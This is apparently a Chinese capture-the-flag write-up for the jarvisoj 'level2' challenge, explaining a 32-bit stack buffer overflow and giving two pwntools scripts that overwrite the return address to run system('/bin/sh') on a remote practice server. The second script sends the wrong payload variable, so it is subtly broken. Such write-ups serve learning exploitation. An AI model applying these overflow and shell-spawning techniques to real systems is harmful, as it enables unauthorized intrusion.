这个题目,是缓冲区溢出
检测一下
No canary found : 可以看出没有栈保护
NO PIE: 没有地址随机化
然后分析题目
这一次我在网上看到了不同的解法,但是基本思路是一致的
主要看一下这个溢出
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:");
return read(0, buf, 256u);
}
可溢出的长度是256字节
然后我们能一般构造的长度是0x88+4+...
也就是差不多我们输入的字节数是140,距离256还是差很远的距离
所以我们就快乐的溢出吧
然乎本题目刚好有一些为我们提前准备好的条件
system 的jmp
system 的call
system 在libc的地址指向
/bin/sh 在libc的地址指向
修改rip到call system
的时候
于是我们对栈的构造就是
ESP+0: /bin/sh字符串地址
当 call system 后
ESP+0: 返回的RIP
ESP+4: /bin/sh字符串地址
from pwn import*
host='node4.buuoj.cn'
port=29279
p=remote(host,port)
#p=process('./level2')
#gdb.attach(p)
binsh=0x0804A024 # /bin/sh字符串所在位置
call_system=0x0804849E # system的call
p.recvuntil('Input:\n')
payload_call_system=b'\0'*(0x88+4)+p32(call_system)+p32(binsh)
p.sendline(payload_call_system)
p.interactive()
如果我们去call system的话
直接去往 jmp system
那么我们的堆栈应该保持一致
也就是提前的对返回的rip做一个填充
ESP+0: 一个对RIP的填充为0
ESP+4: /bin/sh字符串地址
from pwn import*
host='node4.buuoj.cn'
port=29279
p=remote(host,port)
#p=process('./level2')
#gdb.attach(p)
binsh=0x0804A024 # /bin/sh字符串所在位置
jmp_system=0x08048320 # system的jmp
ret_padding=0
p.recvuntil('Input:\n')
payload_jmp_system=b'\0'*(0x88+4)+p32(jmp_system)+p32(ret_padding)+p32(binsh)
p.sendline(payload_call_system)
p.interactive()
标签:bin,jmp,p32,system,jarvisoj,level2,sh,call,pwn
From: https://www.cnblogs.com/re4mile/p/17285925.html